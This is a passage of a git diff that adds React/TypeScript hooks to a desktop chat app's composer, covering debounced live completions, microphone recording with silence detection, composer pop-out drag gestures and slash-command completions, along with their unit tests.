+  /** Optional completion-action id. When set, picking the item runs that action
+   *  (e.g. opening an overlay) instead of inserting a chip + waiting for submit. */
+  action?: string
+}
+
+export interface CompletionPayload {
+  items: CompletionEntry[]
+  query: string
+}
+
+const EMPTY_QUERY = '\u0000'
+
+export function useLiveCompletionAdapter(options: {
+  enabled: boolean
+  debounceMs?: number
+  fetcher: (query: string) => Promise<CompletionPayload>
+  /** True when `fetcher` will answer this query from cache. Such a query skips
+   *  both the debounce and the loading state — the debounce exists to avoid a
+   *  request per keystroke, and a spinner over an answer we already hold reads
+   *  as latency the user isn't actually paying. */
+  isCached?: (query: string) => boolean
+  /** Bump to declare the held answer stale. Without it a popover left open on
+   *  an unchanged query would keep serving what it fetched before the source
+   *  changed, because the adapter de-dupes on the query alone. */
+  epoch?: number
+  toItem: (entry: CompletionEntry, index: number) => Unstable_TriggerItem
+}): { adapter: Unstable_TriggerAdapter; loading: boolean } {
+  const { enabled, debounceMs = 60, epoch = 0, fetcher, isCached, toItem } = options
+
+  const [state, setState] = useState<{ query: string; items: Unstable_TriggerItem[] }>({
+    query: EMPTY_QUERY,
+    items: []
+  })
+
+  const [loading, setLoading] = useState(false)
+
+  const tokenRef = useRef(0)
+  const timerRef = useRef<number | null>(null)
+  const pendingQueryRef = useRef<string | null>(null)
+
+  const cancelTimer = useCallback(() => {
+    if (timerRef.current !== null) {
+      window.clearTimeout(timerRef.current)
+      timerRef.current = null
+    }
+  }, [])
+
+  useEffect(() => () => cancelTimer(), [cancelTimer])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    if (enabled) {
+      return
+    }
+
+    cancelTimer()
+    pendingQueryRef.current = null
+    tokenRef.current += 1
+    setLoading(false)
+    setState({ query: EMPTY_QUERY, items: [] })
+  }, [cancelTimer, enabled])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    // Invalidate by forgetting which query the held items answer, so the next
+    // search() re-fetches. The items themselves stay until the new answer
+    // lands — an open popover must not blink empty on a background refresh.
+    // On mount this is already the state, so the first run is a no-op.
+    pendingQueryRef.current = null
+    setState(current => (current.query === EMPTY_QUERY ? current : { ...current, query: EMPTY_QUERY }))
+  }, [epoch])
+
+  const scheduleFetch = useCallback(
+    (query: string) => {
+      if (!enabled) {
+        return
+      }
+
+      if (pendingQueryRef.current === query) {
+        return
+      }
+
+      pendingQueryRef.current = query
+      cancelTimer()
+      const token = ++tokenRef.current
+      const cached = isCached?.(query) ?? false
+
+      if (!cached) {
+        setLoading(true)
+      }
+
+      const run = () => {
+        timerRef.current = null
+
+        fetcher(query)
+          .then(payload => {
+            if (token !== tokenRef.current) {
+              return
+            }
+
+            setState({
+              query: payload.query,
+              items: payload.items.map((entry, index) => toItem(entry, index))
+            })
+          })
+          .catch(() => {
+            if (token !== tokenRef.current) {
+              return
+            }
+
+            setState({ query, items: [] })
+          })
+          .finally(() => {
+            if (token === tokenRef.current) {
+              setLoading(false)
+            }
+          })
+      }
+
+      // A cached answer resolves in a microtask, so debouncing it would only
+      // add a frame of empty popover on every keystroke.
+      cached ? run() : (timerRef.current = window.setTimeout(run, debounceMs))
+    },
+    [cancelTimer, debounceMs, enabled, fetcher, isCached, toItem]
+  )
+
+  const adapter = useMemo<Unstable_TriggerAdapter>(
+    () => ({
+      categories: () => [],
+      categoryItems: () => [],
+      search: (query: string) => {
+        if (query !== state.query) {
+          scheduleFetch(query)
+        }
+
+        return state.items
+      }
+    }),
+    [scheduleFetch, state]
+  )
+
+  return { adapter, loading }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-mic-recorder.ts b/ui-desktop/src/app/chat/composer/hooks/use-mic-recorder.ts
new file mode 100644
index 000000000..3594f4f56
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-mic-recorder.ts
@@ -0,0 +1,295 @@
+import { useEffect, useRef, useState } from 'react'
+
+type BrowserAudioContext = typeof AudioContext
+
+export interface MicRecorderOptions {
+  onLevel?: (level: number) => void
+  onError?: (error: Error) => void
+  onSilence?: () => void
+  silenceLevel?: number
+  silenceMs?: number
+  idleSilenceMs?: number
+}
+
+export interface MicRecording {
+  audio: Blob
+  durationMs: number
+  heardSpeech: boolean
+}
+
+export interface MicRecorderErrorCopy {
+  microphoneAccessDenied: string
+  microphoneConstraintsUnsupported: string
+  microphoneInUse: string
+  microphonePermissionDenied: string
+  microphoneStartFailed: string
+  microphoneUnsupported: string
+  noMicrophone: string
+}
+
+interface MicRecorderHandle {
+  start: (options?: MicRecorderOptions) => Promise<void>
+  stop: () => Promise<MicRecording | null>
+  cancel: () => void
+}
+
+function micError(error: unknown, copy: MicRecorderErrorCopy): Error {
+  const name = error instanceof DOMException ? error.name : ''
+
+  if (name === 'NotAllowedError' || name === 'SecurityError') {
+    return new Error(copy.microphonePermissionDenied)
+  }
+
+  if (name === 'NotFoundError' || name === 'DevicesNotFoundError') {
+    return new Error(copy.noMicrophone)
+  }
+
+  if (name === 'NotReadableError' || name === 'TrackStartError') {
+    return new Error(copy.microphoneInUse)
+  }
+
+  if (name === 'OverconstrainedError') {
+    return new Error(copy.microphoneConstraintsUnsupported)
+  }
+
+  if (error instanceof Error) {
+    return error
+  }
+
+  return new Error(copy.microphoneStartFailed)
+}
+
+export function useMicRecorder(copy: MicRecorderErrorCopy): {
+  handle: MicRecorderHandle
+  level: number
+  recording: boolean
+} {
+  const [level, setLevel] = useState(0)
+  const [recording, setRecording] = useState(false)
+
+  const recorderRef = useRef<MediaRecorder | null>(null)
+  const streamRef = useRef<MediaStream | null>(null)
+  const chunksRef = useRef<Blob[]>([])
+  const audioContextRef = useRef<AudioContext | null>(null)
+  const animationRef = useRef<number | null>(null)
+  const startedAtRef = useRef(0)
+  const heardSpeechRef = useRef(false)
+  const silenceTriggeredRef = useRef(false)
+  const silenceStartedAtRef = useRef<number | null>(null)
+  const stopResolverRef = useRef<((recording: MicRecording | null) => void) | null>(null)
+
+  const cleanup = () => {
+    if (animationRef.current) {
+      window.cancelAnimationFrame(animationRef.current)
+      animationRef.current = null
+    }
+
+    void audioContextRef.current?.close()
+    audioContextRef.current = null
+    streamRef.current?.getTracks().forEach(track => track.stop())
+    streamRef.current = null
+    recorderRef.current = null
+    setLevel(0)
+    setRecording(false)
+    silenceTriggeredRef.current = false
+  }
+
+  useEffect(() => () => cleanup(), [])
+
+  const startMeter = (stream: MediaStream, options: MicRecorderOptions) => {
+    const audioWindow = window as Window & { webkitAudioContext?: BrowserAudioContext }
+    const AudioContextCtor = window.AudioContext || audioWindow.webkitAudioContext
+
+    if (!AudioContextCtor) {
+      return
+    }
+
+    try {
+      const audioContext = new AudioContextCtor()
+      const analyser = audioContext.createAnalyser()
+      const source = audioContext.createMediaStreamSource(stream)
+
+      analyser.fftSize = 256
+      const data = new Uint8Array(analyser.fftSize)
+
+      source.connect(analyser)
+      audioContextRef.current = audioContext
+
+      const tick = () => {
+        analyser.getByteTimeDomainData(data)
+
+        let sum = 0
+
+        for (const value of data) {
+          const centered = value - 128
+          sum += centered * centered
+        }
+
+        const rms = Math.sqrt(sum / data.length)
+        const normalized = Math.min(1, rms / 42)
+        const now = Date.now()
+
+        setLevel(normalized)
+        options.onLevel?.(normalized)
+
+        const speechThreshold = options.silenceLevel ?? 0
+        const silenceMs = options.silenceMs ?? 0
+        const idleSilenceMs = options.idleSilenceMs ?? 0
+
+        if (speechThreshold > 0 && options.onSilence && !silenceTriggeredRef.current) {
+          if (normalized >= speechThreshold) {
+            heardSpeechRef.current = true
+            silenceStartedAtRef.current = null
+          } else if (heardSpeechRef.current && silenceMs > 0) {
+            silenceStartedAtRef.current ??= now
+
+            if (now - silenceStartedAtRef.current >= silenceMs) {
+              silenceTriggeredRef.current = true
+              options.onSilence()
+
+              return
+            }
+          } else if (!heardSpeechRef.current && idleSilenceMs > 0 && now - startedAtRef.current >= idleSilenceMs) {
+            silenceTriggeredRef.current = true
+            options.onSilence()
+
+            return
+          }
+        }
+
+        animationRef.current = window.requestAnimationFrame(tick)
+      }
+
+      tick()
+    } catch {
+      setLevel(0)
+    }
+  }
+
+  const start: MicRecorderHandle['start'] = async (options = {}) => {
+    if (recorderRef.current) {
+      return
+    }
+
+    if (!navigator.mediaDevices?.getUserMedia || typeof MediaRecorder === 'undefined') {
+      throw new Error(copy.microphoneUnsupported)
+    }
+
+    const permitted = await window.clawcodexDesktop?.requestMicrophoneAccess?.()
+
+    if (permitted === false) {
+      throw new Error(copy.microphoneAccessDenied)
+    }
+
+    let stream: MediaStream
+
+    try {
+      stream = await navigator.mediaDevices.getUserMedia({
+        audio: { echoCancellation: true, noiseSuppression: true }
+      })
+    } catch (error) {
+      throw micError(error, copy)
+    }
+
+    const mimeType =
+      ['audio/webm;codecs=opus', 'audio/webm', 'audio/mp4', 'audio/ogg;codecs=opus', 'audio/ogg', 'audio/wav'].find(
+        type => MediaRecorder.isTypeSupported(type)
+      ) ?? ''
+
+    let recorder: MediaRecorder
+
+    try {
+      recorder = new MediaRecorder(stream, mimeType ? { mimeType } : undefined)
+    } catch (error) {
+      stream.getTracks().forEach(track => track.stop())
+      throw micError(error, copy)
+    }
+
+    chunksRef.current = []
+    streamRef.current = stream
+    recorderRef.current = recorder
+    heardSpeechRef.current = false
+    silenceTriggeredRef.current = false
+    silenceStartedAtRef.current = null
+    startedAtRef.current = Date.now()
+
+    recorder.ondataavailable = event => {
+      if (event.data.size > 0) {
+        chunksRef.current.push(event.data)
+      }
+    }
+
+    recorder.onstop = () => {
+      const chunks = chunksRef.current
+      const recordingType = recorder.mimeType || mimeType || 'audio/webm'
+      const durationMs = Date.now() - startedAtRef.current
+      const heardSpeech = heardSpeechRef.current
+
+      chunksRef.current = []
+      cleanup()
+
+      const resolver = stopResolverRef.current
+      stopResolverRef.current = null
+
+      if (!chunks.length) {
+        resolver?.(null)
+
+        return
+      }
+
+      resolver?.({
+        audio: new Blob(chunks, { type: recordingType }),
+        durationMs,
+        heardSpeech
+      })
+    }
+
+    recorder.onerror = event => {
+      const error = micError((event as Event & { error?: unknown }).error, copy)
+      const resolver = stopResolverRef.current
+      stopResolverRef.current = null
+      cleanup()
+      options.onError?.(error)
+      resolver?.(null)
+    }
+
+    recorder.start()
+    setRecording(true)
+    startMeter(stream, options)
+  }
+
+  const stop: MicRecorderHandle['stop'] = () =>
+    new Promise<MicRecording | null>(resolve => {
+      const recorder = recorderRef.current
+
+      if (!recorder || recorder.state === 'inactive') {
+        cleanup()
+        resolve(null)
+
+        return
+      }
+
+      stopResolverRef.current = resolve
+      recorder.stop()
+    })
+
+  const cancel: MicRecorderHandle['cancel'] = () => {
+    const recorder = recorderRef.current
+    const resolver = stopResolverRef.current
+    stopResolverRef.current = null
+
+    if (recorder && recorder.state !== 'inactive') {
+      recorder.ondataavailable = null
+      recorder.onerror = null
+      recorder.onstop = null
+      recorder.stop()
+    }
+
+    cleanup()
+    resolver?.(null)
+  }
+
+  const handle: MicRecorderHandle = { start, stop, cancel }
+
+  return { handle, level, recording }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-micro-actions.ts b/ui-desktop/src/app/chat/composer/hooks/use-micro-actions.ts
new file mode 100644
index 000000000..a8da94f04
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-micro-actions.ts
@@ -0,0 +1,47 @@
+import { useEffect } from 'react'
+
+import { useSessionSlice } from '@/lib/use-session-slice'
+import { setComposerActions } from '@/store/composer-actions'
+import { $todosBySession } from '@/store/todos'
+
+import { type ComposerMicroActionContext, useComposerMicroActionProviders } from '../contrib'
+
+/**
+ * Resolve every registered micro-action provider for this session and publish
+ * the result to `$composerActionsBySession`, which the pill strip renders.
+ *
+ * Core registers nothing, so the strip stays empty until something contributes
+ * to `composer.microActions`. Providers are pure functions of the session
+ * context and the set is recomputed rather than mutated, so there are no
+ * ordering games between registrars and a provider that stops returning a
+ * badge withdraws it. One that throws is skipped, so a broken plugin loses
+ * only its own badge.
+ */
+export function useComposerMicroActions(sessionId: null | string, busy: boolean) {
+  const todos = useSessionSlice($todosBySession, sessionId)
+  const providers = useComposerMicroActionProviders()
+
+  useEffect(() => {
+    if (!sessionId) {
+      return
+    }
+
+    const ctx: ComposerMicroActionContext = { busy, sessionId, todos }
+
+    setComposerActions(
+      sessionId,
+      providers.flatMap(provider => {
+        try {
+          return provider.resolve(ctx) ?? []
+        } catch {
+          return []
+        }
+      })
+    )
+  }, [busy, providers, sessionId, todos])
+
+  // Withdraw on unmount / session switch ONLY. Clearing in the resolve effect's
+  // cleanup would publish an empty set before every republish — two store
+  // writes and two stack re-renders for what is usually a no-op.
+  useEffect(() => (sessionId ? () => setComposerActions(sessionId, []) : undefined), [sessionId])
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-popout-drag.ts b/ui-desktop/src/app/chat/composer/hooks/use-popout-drag.ts
new file mode 100644
index 000000000..e4a53889e
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-popout-drag.ts
@@ -0,0 +1,367 @@
+import { type PointerEvent as ReactPointerEvent, type RefObject, useCallback, useEffect, useRef, useState } from 'react'
+
+import {
+  POPOUT_ESTIMATED_HEIGHT,
+  POPOUT_WIDTH_REM,
+  type PopoutBounds,
+  type PopoutPosition,
+  type PopoutSize,
+  readPopoutBounds,
+  setComposerPopoutPosition
+} from '@/store/composer-popout'
+
+// Floating surface long-press before it becomes draggable (the 5px platform drags
+// instantly; this only covers grabbing the composer body itself).
+const LONG_PRESS_MS = 360
+const LONG_PRESS_MOVE_TOLERANCE = 10
+// Upward drag distance from the docked composer that peels it off into a float.
+const PEEL_OUT_PX = 16
+const DOCK_ZONE_BOTTOM_PX = 72
+// How close the composer's center must be to the viewport center (px) to count as
+// "over the dock". Kept tight so the bottom-left/right corners stay free.
+const DOCK_ZONE_CENTER_TOLERANCE_PX = 150
+// Falloff distances over which dock proximity ramps from 1 (in-zone) down to 0.
+const DOCK_VERTICAL_FALLOFF_PX = 260
+const DOCK_HORIZONTAL_FALLOFF_PX = 220
+
+interface PressState {
+  armed: boolean
+  mode: 'dock' | 'float'
+  pointerId: number
+  startBottom: number
+  startRight: number
+  startX: number
+  startY: number
+}
+
+interface ComposerPopoutGesturesOptions {
+  composerRef: RefObject<HTMLFormElement | null>
+  /** Layout zone this composer belongs to — the scope its float is stored under. */
+  groupId: string
+  onDock: () => void
+  onPopOut: () => void
+  poppedOut: boolean
+  position: PopoutPosition
+}
+
+function gestureTargetOk(target: EventTarget | null) {
+  if (!(target instanceof Element)) {
+    return false
+  }
+
+  return !target.closest('button, a, input, textarea, select, [role="menuitem"], [data-radix-popper-content-wrapper]')
+}
+
+/** Floating composer's 5px outer frame — grab here to drag without long-press. */
+function isFloatDragPlatform(target: EventTarget | null) {
+  if (!(target instanceof Element)) {
+    return false
+  }
+
+  if (!target.closest('[data-slot="composer-root"][data-popped-out]')) {
+    return false
+  }
+
+  if (target.closest('[data-slot="composer-surface"], [data-slot="composer-rich-input"]')) {
+    return false
+  }
+
+  return gestureTargetOk(target)
+}
+
+/** 0 (far) → 1 (inside the dock zone). Drives both the dock glow and the
+ *  release-to-dock test (which fires at proximity 1).
+ *
+ *  Measured against THIS surface's area, not the window: the dock target is the
+ *  docked composer, which sits at the bottom-center of its own chat surface. In
+ *  a split (or any layout where the chat isn't the full window) the viewport's
+ *  bottom-center is somewhere else entirely, so dragging onto the real dock
+ *  never registered. */
+function dockProximityOf(rect: DOMRect, area?: PopoutBounds) {
+  const a = area ?? { bottom: window.innerHeight, left: 0, right: window.innerWidth, top: 0 }
+  const horizontalDist = Math.abs(rect.left + rect.width / 2 - (a.left + a.right) / 2)
+  const verticalGap = a.bottom - DOCK_ZONE_BOTTOM_PX - rect.bottom
+
+  const v = verticalGap <= 0 ? 1 : Math.max(0, 1 - verticalGap / DOCK_VERTICAL_FALLOFF_PX)
+
+  const h =
+    horizontalDist <= DOCK_ZONE_CENTER_TOLERANCE_PX
+      ? 1
+      : Math.max(0, 1 - (horizontalDist - DOCK_ZONE_CENTER_TOLERANCE_PX) / DOCK_HORIZONTAL_FALLOFF_PX)
+
+  return v * h
+}
+
+const clampOffset = (value: number, max: number) => Math.min(Math.max(0, value), max)
+
+/** Fixed-position composer uses bottom/right insets; keep the grab point under the pointer. */
+function popoutPositionUnderPointer(
+  clientX: number,
+  clientY: number,
+  grabX: number,
+  grabY: number,
+  boxWidth: number,
+  boxHeight: number
+): PopoutPosition {
+  return {
+    bottom: window.innerHeight - clientY + grabY - boxHeight,
+    right: window.innerWidth - clientX + grabX - boxWidth
+  }
+}
+
+/**
+ * Gesture pop-out / dock for the composer — fully gestural, no hold-to-toggle.
+ *
+ * Docked: drag the composer upward (off the dock) to peel it out into a float,
+ * then keep dragging in the same motion.
+ * Floating: drag the 5px frame to move instantly, or long-press the body then
+ * drag; release over the bottom-center dock band to snap back in.
+ */
+export function useComposerPopoutGestures({
+  composerRef,
+  groupId,
+  onDock,
+  onPopOut,
+  poppedOut,
+  position
+}: ComposerPopoutGesturesOptions) {
+  const [dragging, setDragging] = useState(false)
+  const [dockProximity, setDockProximity] = useState(0)
+
+  const stateRef = useRef<PressState | null>(null)
+  const timerRef = useRef<number | null>(null)
+  const liveRef = useRef(position)
+  liveRef.current = position
+
+  const onPopOutRef = useRef(onPopOut)
+  onPopOutRef.current = onPopOut
+
+  const clearTimer = useCallback(() => {
+    if (timerRef.current !== null) {
+      window.clearTimeout(timerRef.current)
+      timerRef.current = null
+    }
+  }, [])
+
+  const resetGesture = useCallback(() => {
+    clearTimer()
+    stateRef.current = null
+    setDragging(false)
+    setDockProximity(0)
+  }, [clearTimer])
+
+  const beginFloatDrag = useCallback(
+    (state: PressState, clientX: number, clientY: number, next: PopoutPosition, size?: PopoutSize) => {
+      clearTimer()
+
+      const clamped = setComposerPopoutPosition(groupId, next, {
+        area: readPopoutBounds(composerRef.current),
+        size
+      })
+
+      liveRef.current = clamped
+
+      state.mode = 'float'
+      state.armed = true
+      state.startBottom = clamped.bottom
+      state.startRight = clamped.right
+      state.startX = clientX
+      state.startY = clientY
+
+      setDragging(true)
+    },
+    [clearTimer, composerRef, groupId]
+  )
+
+  const peelOffFromDock = useCallback(
+    (state: PressState, clientX: number, clientY: number) => {
+      const composer = composerRef.current
+
+      if (!composer) {
+        return
+      }
+
+      const rem = parseFloat(getComputedStyle(document.documentElement).fontSize) || 16
+      const rect = composer.getBoundingClientRect()
+      const boxWidth = POPOUT_WIDTH_REM * rem
+      const boxHeight = POPOUT_ESTIMATED_HEIGHT
+      const grabX = clampOffset(state.startX - rect.left, boxWidth)
+      const grabY = clampOffset(state.startY - rect.top, boxHeight)
+      const next = popoutPositionUnderPointer(clientX, clientY, grabX, grabY, boxWidth, boxHeight)
+
+      beginFloatDrag(state, clientX, clientY, next, { height: boxHeight, width: boxWidth })
+      onPopOutRef.current()
+    },
+    [beginFloatDrag, composerRef]
+  )
+
+  const onPointerDown = useCallback(
+    (event: ReactPointerEvent<HTMLElement>) => {
+      if (event.button !== 0 || !gestureTargetOk(event.target)) {
+        return
+      }
+
+      // Floating: grabbing the 5px platform drags immediately.
+      if (poppedOut && isFloatDragPlatform(event.target)) {
+        stateRef.current = {
+          armed: true,
+          mode: 'float',
+          pointerId: event.pointerId,
+          startBottom: liveRef.current.bottom,
+          startRight: liveRef.current.right,
+          startX: event.clientX,
+          startY: event.clientY
+        }
+        setDragging(true)
+
+        return
+      }
+
+      stateRef.current = {
+        armed: false,
+        mode: poppedOut ? 'float' : 'dock',
+        pointerId: event.pointerId,
+        startBottom: liveRef.current.bottom,
+        startRight: liveRef.current.right,
+        startX: event.clientX,
+        startY: event.clientY
+      }
+
+      clearTimer()
+
+      // Docked has NO timer — pop-out is purely the upward peel gesture (handled
+      // in pointermove). Floating arms a long-press to drag the body.
+      if (poppedOut) {
+        timerRef.current = window.setTimeout(() => {
+          const state = stateRef.current
+
+          if (!state || state.armed) {
+            return
+          }
+
+          state.armed = true
+          setDragging(true)
+        }, LONG_PRESS_MS)
+      }
+    },
+    [clearTimer, poppedOut]
+  )
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    // Coalesce drag updates to one per frame — pointermove can fire several times
+    // between paints on high-Hz mice, and each update re-renders + clamps.
+    let raf: number | null = null
+    let pending: { x: number; y: number } | null = null
+
+    const cancelRaf = () => {
+      if (raf !== null) {
+        cancelAnimationFrame(raf)
+        raf = null
+      }
+    }
+
+    const flush = () => {
+      raf = null
+      const state = stateRef.current
+
+      if (!state?.armed || state.mode !== 'float' || !pending) {
+        return
+      }
+
+      const composer = composerRef.current
+      const size = composer ? { height: composer.offsetHeight, width: composer.offsetWidth } : undefined
+      const area = readPopoutBounds(composer)
+
+      liveRef.current = setComposerPopoutPosition(
+        groupId,
+        {
+          bottom: state.startBottom - (pending.y - state.startY),
+          right: state.startRight - (pending.x - state.startX)
+        },
+        { area, size }
+      )
+
+      if (composer) {
+        setDockProximity(dockProximityOf(composer.getBoundingClientRect(), area))
+      }
+    }
+
+    const handleMove = (event: PointerEvent) => {
+      const state = stateRef.current
+
+      if (!state || event.pointerId !== state.pointerId) {
+        return
+      }
+
+      // Pre-arm: cheap threshold checks run inline (no per-frame work yet).
+      if (!state.armed) {
+        const deltaX = event.clientX - state.startX
+        const deltaY = event.clientY - state.startY
+
+        if (state.mode === 'dock') {
+          // Peel off only on a clear upward drag — not a sideways/down wiggle.
+          if (-deltaY > PEEL_OUT_PX && -deltaY > Math.abs(deltaX)) {
+            peelOffFromDock(state, event.clientX, event.clientY)
+          } else if (Math.abs(deltaX) > PEEL_OUT_PX || deltaY > LONG_PRESS_MOVE_TOLERANCE) {
+            resetGesture()
+          }
+        } else if (Math.abs(deltaX) > LONG_PRESS_MOVE_TOLERANCE || Math.abs(deltaY) > LONG_PRESS_MOVE_TOLERANCE) {
+          // Float body long-press pending: movement cancels the hold.
+          resetGesture()
+        }
+
+        return
+      }
+
+      if (state.mode !== 'float') {
+        return
+      }
+
+      event.preventDefault()
+      pending = { x: event.clientX, y: event.clientY }
+      raf ??= requestAnimationFrame(flush)
+    }
+
+    const handleUp = (event: PointerEvent) => {
+      const state = stateRef.current
+
+      if (!state || event.pointerId !== state.pointerId) {
+        return
+      }
+
+      cancelRaf()
+
+      if (state.armed && state.mode === 'float') {
+        const composer = composerRef.current
+        const rect = composer?.getBoundingClientRect()
+        const area = readPopoutBounds(composer)
+
+        if (rect && dockProximityOf(rect, area) >= 1) {
+          onDock()
+        } else {
+          // Persist the resting position once, on release — never per move.
+          const size = composer ? { height: composer.offsetHeight, width: composer.offsetWidth } : undefined
+          setComposerPopoutPosition(groupId, liveRef.current, { area, persist: true, size })
+        }
+      }
+
+      resetGesture()
+    }
+
+    window.addEventListener('pointermove', handleMove)
+    window.addEventListener('pointerup', handleUp)
+    window.addEventListener('pointercancel', handleUp)
+
+    return () => {
+      cancelRaf()
+      window.removeEventListener('pointermove', handleMove)
+      window.removeEventListener('pointerup', handleUp)
+      window.removeEventListener('pointercancel', handleUp)
+    }
+  }, [composerRef, groupId, onDock, peelOffFromDock, resetGesture])
+
+  useEffect(() => clearTimer, [clearTimer])
+
+  return { dockProximity, dragging, onPointerDown }
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.test.tsx
new file mode 100644
index 000000000..9d5d8cd93
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.test.tsx
@@ -0,0 +1,157 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { act, cleanup, render } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { queryClient } from '@/lib/query-client'
+import { invalidateSlashCompletions } from '@/lib/slash-completion-cache'
+
+import { isSkillItem } from '../composer-utils'
+
+import { useSlashCompletions } from './use-slash-completions'
+
+const CATALOG = {
+  categories: [{ name: 'Session', pairs: [['/new', 'Start a new session']] }],
+  pairs: [
+    ['/new', 'Start a new session'],
+    ['/work', 'Kick off a task in a fresh worktree']
+  ]
+}
+
+// A catalog shaped like a real install: a couple of skills the user lives in,
+// a bundled one they have never opened, and one of their own they haven't
+// either.
+const RANKED_CATALOG = {
+  categories: [{ name: 'Session', pairs: [['/new', 'Start a new session']] }],
+  pairs: [
+    ['/new', 'Start a new session'],
+    ['/docx', 'Edit Word documents'],
+    ['/research', 'Look it up before answering'],
+    ['/research-paper-writing', 'Write an academic paper'],
+    ['/work', 'Kick off a task in a fresh worktree']
+  ],
+  skills: {
+    '/docx': { usage: 0, origin: 'local' },
+    '/research': { usage: 60, origin: 'local' },
+    '/research-paper-writing': { usage: 0, origin: 'bundled' },
+    '/work': { usage: 172, origin: 'local' }
+  }
+}
+
+const commandsOf = (items: readonly Unstable_TriggerItem[]) =>
+  items.map(item => (item.metadata as { command?: string })?.command)
+
+function harness(gateway: ClawCodexGateway) {
+  const api: { search?: (query: string) => readonly Unstable_TriggerItem[] } = {}
+
+  function Probe() {
+    const { adapter } = useSlashCompletions({ gateway })
+    api.search = adapter.search
+
+    return null
+  }
+
+  render(<Probe />)
+
+  return api as { search: (query: string) => readonly Unstable_TriggerItem[] }
+}
+
+/** Drive the adapter until its async fetch has settled into `search`'s result. */
+async function completions(api: { search: (query: string) => readonly Unstable_TriggerItem[] }, query: string) {
+  await act(async () => {
+    api.search(query)
+    await Promise.resolve()
+  })
+
+  // The debounce is skipped only for cached queries; give the timer a beat.
+  await act(async () => {
+    await new Promise(resolve => setTimeout(resolve, 120))
+  })
+
+  return api.search(query)
+}
+
+afterEach(() => {
+  cleanup()
+  queryClient.clear()
+})
+
+describe('useSlashCompletions', () => {
+  it('serves the bare-slash catalog from cache instead of re-requesting it', async () => {
+    const request = vi.fn().mockResolvedValue(CATALOG)
+    const api = harness({ request } as unknown as ClawCodexGateway)
+
+    await completions(api, '')
+    expect(request).toHaveBeenCalledTimes(1)
+
+    // Reopening `/` must not hit the gateway again.
+    queryClient.setQueryData(['unrelated'], 1)
+    await completions(api, '')
+    expect(request).toHaveBeenCalledTimes(1)
+
+    // …until something that changes the command set invalidates it.
+    await act(async () => invalidateSlashCompletions())
+    await completions(api, '')
+    expect(request).toHaveBeenCalledTimes(2)
+  })
+
+  it('offers skill commands on a bare slash, not just built-ins', async () => {
+    const request = vi.fn().mockResolvedValue(CATALOG)
+    const api = harness({ request } as unknown as ClawCodexGateway)
+
+    const items = await completions(api, '')
+    const work = items.find(item => (item.metadata as { command?: string })?.command === '/work')
+
+    expect((work?.metadata as { group?: string })?.group).toBe('Skills')
+  })
+
+  // A `/` typed mid-message is a reference dropped into prose, so the trigger
+  // filters the list to skills (use-composer-trigger). A bare mid-message `/`
+  // resolves to the same empty query as an opening `/`, so that filter runs
+  // over the catalog — which listed no skill-group rows at all, leaving the
+  // inline popover empty. Asserted through isSkillItem, the real predicate.
+  it('leaves only skills for a mid-message slash', async () => {
+    const request = vi.fn().mockResolvedValue(CATALOG)
+    const api = harness({ request } as unknown as ClawCodexGateway)
+
+    const inline = (await completions(api, '')).filter(isSkillItem)
+
+    expect(inline.map(item => (item.metadata as { command?: string })?.command)).toEqual(['/work'])
+  })
+
+  // An alphabetical `/` menu buries the skills someone runs daily under the
+  // ones that shipped with ClawCodex and were never opened.
+  it('orders skills by use and hides never-used built-ins on a bare slash', async () => {
+    const request = vi.fn().mockResolvedValue(RANKED_CATALOG)
+    const api = harness({ request } as unknown as ClawCodexGateway)
+
+    const skills = commandsOf((await completions(api, '')).filter(isSkillItem))
+
+    expect(skills).toEqual(['/work', '/research', '/docx'])
+  })
+
+  // Typing is a search, and a search that hides a match is broken — the
+  // never-used built-in still shows, just below the one she actually uses.
+  it('ranks a typed query by use without hiding anything', async () => {
+    const request = vi.fn().mockImplementation((method: string) =>
+      Promise.resolve(
+        method === 'commands.catalog'
+          ? RANKED_CATALOG
+          : {
+              items: [
+                { text: '/research-paper-writing', display: '/research-paper-writing', meta: 'Write a paper' },
+                { text: '/research', display: '/research', meta: 'Look it up' }
+              ]
+            }
+      )
+    )
+
+    const api = harness({ request } as unknown as ClawCodexGateway)
+
+    // Warm the catalog first: the popover always opens on a bare `/` before a
+    // query is typed, which is where the usage map comes from.
+    await completions(api, '')
+
+    expect(commandsOf(await completions(api, 'research'))).toEqual(['/research', '/research-paper-writing'])
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.ts b/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.ts
new file mode 100644
index 000000000..9c552595f
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-slash-completions.ts
@@ -0,0 +1,300 @@
+import type { Unstable_TriggerAdapter, Unstable_TriggerItem } from '@assistant-ui/core'
+import { useStore } from '@nanostores/react'
+import { useCallback } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { sessionTitle } from '@/lib/chat-runtime'
+import {
+  type CommandsCatalogLike,
+  desktopSkinSlashCompletions,
+  desktopSlashDescription,
+  type DesktopThemeCommandOption,
+  filterDesktopCommandsCatalog,
+  isDesktopSlashExtensionCommand,
+  isDesktopSlashSuggestion,
+  rankSkillCommands
+} from '@/lib/desktop-slash-commands'
+import {
+  $slashCompletionsEpoch,
+  cachedSlashCompletion,
+  hasCachedSlashCompletion,
+  peekCachedSlashCompletion
+} from '@/lib/slash-completion-cache'
+import { normalize } from '@/lib/text'
+import { $sessions } from '@/store/session'
+
+import type { CompletionEntry, CompletionPayload } from './use-live-completion-adapter'
